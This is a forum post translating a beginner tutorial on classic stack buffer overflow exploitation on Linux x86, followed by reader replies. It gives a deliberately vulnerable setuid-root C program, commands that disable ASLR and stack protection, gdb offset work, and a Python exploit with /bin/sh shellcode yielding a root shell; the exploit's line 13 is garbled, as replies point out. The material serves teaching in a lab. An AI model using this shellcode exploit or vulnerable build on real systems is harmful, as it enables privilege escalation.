首页
社区
课程
招聘
[翻译]Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)
2017-4-5 20:30 16846

[翻译]Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)

2017-4-5 20:30
16846

 典型的基于堆栈的缓冲区溢出

虚拟机安装:Ubuntu 12.04(x86)

这个帖子是最简单的漏洞开发教程系列,在互联网上你可以找到很多关于它的文章。尽管它丰富和熟悉,我更喜欢自己写博客文章,因为它将作为我未来许多职位的先决条件!

什么是缓冲区溢出?

将源缓冲区复制到目标缓冲区可能导致溢出

1、源字符串长度大于目标字符串长度。

2、不进行大小检查。

缓冲区溢出有两种类型:

1、基于堆栈的缓冲区溢出 - 这里的目标缓冲区位于堆栈中

2、基于堆的缓冲区溢出 - 这里的目标缓冲区位于堆中

在这篇文章中,我将只讨论基于堆栈的缓冲区溢出。堆溢出将在Linux(x86)漏洞开发教程系列的 “3级”中讨论!

缓冲区溢出错误导致任意代码执行!

什么是任意代码执行?

任意代码执行允许攻击者执行他的代码以获得对受害机器的控制。受害机器的控制是通过多种方式实现的,例如产生根shell,添加新用户,打开网口等...

听起来很有趣,足够的定义让我们看看缓冲区溢出攻击的代码!

漏洞代码

//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
        /* [1] */ char buf[256];
        /* [2] */ strcpy(buf,argv[1]);
        /* [3] */ printf("Input:%s\n",buf);
        return 0;
}


编译代码

#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln


上述漏洞代码的[2]行显示了缓冲区溢出错误。这个bug可能导致任意代码执行,因为源缓冲区内容是用户输入的!

如何执行任意代码执行?

使用称为“ 返回地址覆盖 ”的技术实现任意代码执行。这种技术有助于攻击者覆盖位于堆栈中的“返回地址”,并且这种覆盖将导致任意代码执行。

在研究漏洞代码之前,为了更好的理解,让我们反汇编并且绘制出漏洞代码的堆栈布局。

反汇编

(gdb) disassemble main
Dump of assembler code for function main:
   //Function Prologue
   0x08048414 <+0>:push   %ebp                      //backup caller's ebp
   0x08048415 <+1>:mov    %esp,%ebp                 //set callee's ebp to esp
   0x08048417 <+3>:and    $0xfffffff0,%esp          //栈对齐
   0x0804841a <+6>:sub    $0x110,%esp               //stack space for local variables
   0x08048420 <+12>:mov    0xc(%ebp),%eax            //eax = argv
   0x08048423 <+15>:add    $0x4,%eax                 //eax = &argv[1]
   0x08048426 <+18>:mov    (%eax),%eax               //eax = argv[1]
   0x08048428 <+20>:mov    %eax,0x4(%esp)            //strcpy arg2 
   0x0804842c <+24>:lea    0x10(%esp),%eax           //eax = 'buf' 
   0x08048430 <+28>:mov    %eax,(%esp)               //strcpy arg1
   0x08048433 <+31>:call   0x8048330 <strcpy@plt>    //call strcpy
   0x08048438 <+36>:mov    $0x8048530,%eax           //eax = format str "Input:%s\n"
   0x0804843d <+41>:lea    0x10(%esp),%edx           //edx = buf
   0x08048441 <+45>:mov    %edx,0x4(%esp)            //printf arg2
   0x08048445 <+49>:mov    %eax,(%esp)               //printf arg1
   0x08048448 <+52>:call   0x8048320 <printf@plt>    //call printf
   0x0804844d <+57>:mov    $0x0,%eax                 //return value 0
   //Function Epilogue
   0x08048452 <+62>:leave                            //mov ebp, esp; pop ebp; 
   0x08048453 <+63>:ret                              //return
End of assembler dump.
(gdb)


堆栈布局:

因为我们已经知道用户输入的大于256,将溢出目标缓冲区并覆盖堆栈中存储的返回地址。通过发送一系列“A”来测试它。

测试步骤1:是否可以覆盖返回地址?

$ gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/csof/vuln...done.
(gdb) r `python -c 'print "A"*300'`
Starting program: /home/sploitfun/lsploits/new/csof/vuln `python -c 'print "A"*300'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) p/x $eip
$1 = 0x41414141
(gdb)


以上输出显示指令指针寄存器(EIP)被“AAAA”覆盖,这样可以确定覆盖返回地址是可能的!

测试步骤2:目的缓冲区的偏移量是多少?

这里让我们找出返回地址相对与目的缓冲区'buf'的偏移量。在反汇编并绘制了main()的堆栈布局后,现在可以尝试找到偏移位置信息! 堆栈布局显示返回地址位于距目标缓冲区“buf”的偏移(0x10c)处。 0x10c计算如下:


0x10c = 0x100 + 0x8 + 0x4


哪里

    0x100 is ‘buf’ 大小
    0x8 is 对齐空间    //这里有点不太明白为啥需要对齐
    0x4 is 调用者的ebp

因此,用户输入的 “A” * 268 + “B” * 4,覆盖了’buf‘,对齐空间和调用者的ebp覆盖为”A"并且返回地址变为"BBBB"

$ gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/csof/vuln...done.
(gdb) r `python -c 'print "A"*268 + "B"*4'`
Starting program: /home/sploitfun/lsploits/new/csof/vuln `python -c 'print "A"*268 + "B"*4'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) p/x $eip
$1 = 0x42424242
(gdb)


以上输出显示攻击者可以控制返回地址。 位于堆栈位置(0xbffff1fc)的返回地址被“BBBB”覆盖。 有了这些信息,我们可以编写一个漏洞利用程序来实现任意的代码执行。

攻击代码:

#exp.py 
#!/usr/bin/env python
import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbffff1d0       
              
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion
def conv(num):
 return struct.pack("<I",numnk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode
print "Calling vulnerable program"
call(["./vuln", buf])


执行上面的exploit程序,给了我们root shell,如下所示:

$ python exp.py 
Calling vulnerable program
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��P��S���
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$


注意:为了获得这个root shell,我们关闭了许多漏洞利用缓解技术。 对于所有文章中的1级,我已经禁用了这些利用减轻技术,因为第1级的目标是向您介绍漏洞。 当我们进入Linux(x86)利用开发教程系列的“2级”时,真正的乐趣会发生在这里,我将在此讨论绕过这些利用减轻技术!


原文地址:https://sploitfun.wordpress.com/2015/06/26/linux-x86-exploit-development-tutorial-series/



[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

收藏
点赞2
打赏
分享
最新回复 (33)
雪    币: 355
活跃值: (276)
能力值: ( LV11,RANK:190 )
在线值:
发帖
回帖
粉丝
阿東 3 2017-4-6 08:26
2
0
感谢分享
雪    币: 1746
活跃值: (227)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
hackyzh 3 2017-4-6 09:02
3
0
IronMannnn 感谢分享
不客气,我也是为了熟悉linux下的调试,不然英文看起来太麻烦了。
雪    币: 341
活跃值: (133)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
地狱怪客 2 2017-4-6 11:06
4
0
抱大腿
雪    币: 205
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tmdrubiks 2017-4-7 22:55
5
0
谢谢,又学了新东西了
雪    币: 36
活跃值: (23)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kivusec 2017-4-7 23:37
6
0
老哥我最近也在看这个文章,加个好友一起研究,如何
雪    币: 1746
活跃值: (227)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
hackyzh 3 2017-4-8 01:55
7
0
kivusec 老哥我最近也在看这个文章,加个好友一起研究,如何
可以啊,我qq  499671216  新手菜鸟
雪    币: 152
活跃值: (29)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
RichardE 1 2017-4-13 03:28
8
0

谢谢楼主分享教程。

回复下楼主关于这块的问题
0x8 is 对齐空间    //这里有点不太明白为啥需要对齐

对齐主要是为了加速CPU的访问吧,

这是作者文章中的原图,麻烦楼主编辑进去,可以便于大家理解
sOIODwYo0AfEKPebzvGrUnw.png


另外GCC默认堆栈是以16字节对齐,

我们可以在编译时候指定堆栈以4字节对齐,编译时添加-mpreferred-stack-boundary=2即可,

关于为什么采用16字节对齐,可以参考GCC编译参数-mpreferred-stack-boundary=文档和GCC的内存对齐策略。。  


雪    币: 33
活跃值: (26)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
XiaoHuaMe 2017-4-18 15:53
9
0
RichardE 谢谢楼主分享教程。回复下楼主关于这块的问题0x8 is 对齐空间 &nbsp; &nbsp;//这里有点不太明白为啥需 ...
这个英文源网址是什么?  谢谢
雪    币: 1746
活跃值: (227)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
hackyzh 3 2017-4-18 16:18
10
0
RichardE 谢谢楼主分享教程。回复下楼主关于这块的问题0x8 is 对齐空间 &nbsp; &nbsp;//这里有点不太明白为啥需 ...
多谢,为啥我一直没看到你的回复。。。
雪    币: 4974
活跃值: (3723)
能力值: ( LV13,RANK:270 )
在线值:
发帖
回帖
粉丝
baolongshou 2 2017-5-2 21:42
11
0
楼主,你的exp.py,执行的时候报错哦
雪    币: 4974
活跃值: (3723)
能力值: ( LV13,RANK:270 )
在线值:
发帖
回帖
粉丝
baolongshou 2 2017-5-2 21:44
12
0

    File  exp.py ,  line  13
        return  struct.pack("<I",numnk  +  RA  +  NOP's  +  Shellcode
                                                                                                                  ^
SyntaxError:  EOL  while  scanning  string  literal

雪    币: 1746
活跃值: (227)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
hackyzh 3 2017-5-2 21:50
13
0
baolongshou &nbsp; &nbsp; File&nbsp; exp.py ,&nbsp; line&nbsp; 13& ...
这是它的exp,我只是翻译过来,然后我想说它的exp是有点问题的,需要自己根据实际情况更改
雪    币: 0
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
fkp 2017-5-2 23:17
14
0
exp13行应为:return  struct.pack(&quot;&lt;I&quot;,num)        #nk  +  RA  +  NOP's  +  Shellcode
意思是返回地址的计算方法:基地址+偏移+NOP指令+shellcode
雪    币: 1
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
alex墨染 2017-5-23 19:12
15
0
感谢楼主,感谢提供这个这个链接,谢谢了
雪    币: 11996
活跃值: (10304)
能力值: ( LV13,RANK:660 )
在线值:
发帖
回帖
粉丝
LarryS 13 2017-6-2 00:35
16
0
fkp exp13行应为:return struct.pack("
还是不太明白返回地址是怎么计算出来的,0xbffff0f0+0x10c+0x4+0x64+0x19=0xbffff27d
能不能具体说一下是怎么计算出来的?
雪    币: 5
活跃值: (412)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
oligami 2017-6-5 21:42
17
0
请问楼主,关于这里有个地方一直没有搞清楚,就是在调试过程中gdb由于环境变量与bash环境中不同导致返回地址在gdb中和实际运行环境中发生冲突,请问楼主在实际调试过程中是怎样解决的?有没有什么有效率的方法?谢谢
雪    币: 1746
活跃值: (227)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
hackyzh 3 2017-6-7 14:01
18
0
oligami 请问楼主,关于这里有个地方一直没有搞清楚,就是在调试过程中gdb由于环境变量与bash环境中不同导致返回地址在gdb中和实际运行环境中发生冲突,请问楼主在实际调试过程中是怎样解决的?有没有什么有效率的 ...
没明白啥意思,不用特意设置的,直接调试啊,
雪    币: 5
活跃值: (412)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
oligami 2017-7-20 17:22
19
0
呃。。。不是,你文章中显示不是调试获得的ret  addr和writeup中的ret  addr不是存在区别吗。。。
雪    币: 229
活跃值: (125)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Beta猫 2017-8-11 14:07
20
0
感谢分享!这个之前已有前辈翻译过,你也可以直接去看中文版
雪    币: 791
活跃值: (404)
能力值: ( LV4,RANK:51 )
在线值:
发帖
回帖
粉丝
gxkyrftx 2018-5-23 16:49
21
1
exp.py  line  13  应为  return  struct.pack("<I",num)      #unk  +  RA  +  NOP's  +  Shellcode  亲测可以,做实验的童鞋记得改一下
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
chooerya 2018-5-29 14:51
22
0
wx_哈哈哈 exp.py line 13 应为 return struct.pack("
感谢21楼的朋友  亲测有效  感谢感谢感谢
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
CodeSiki 2018-6-8 15:34
23
0
能说一下ret_addr是怎么计算的吗?最后运行到InputAAA。。。后面就没了,没有出来root  shell
雪    币: 3
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Godlike_NN 2018-6-8 15:42
24
0
ret_addr  =  0xbffff1d0
怎么算的
雪    币: 3
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Godlike_NN 2018-6-8 16:23
25
0

最后于 2018-6-8 16:35 被Godlike_NN编辑 ,原因:
游客
登录 | 注册 方可回帖
返回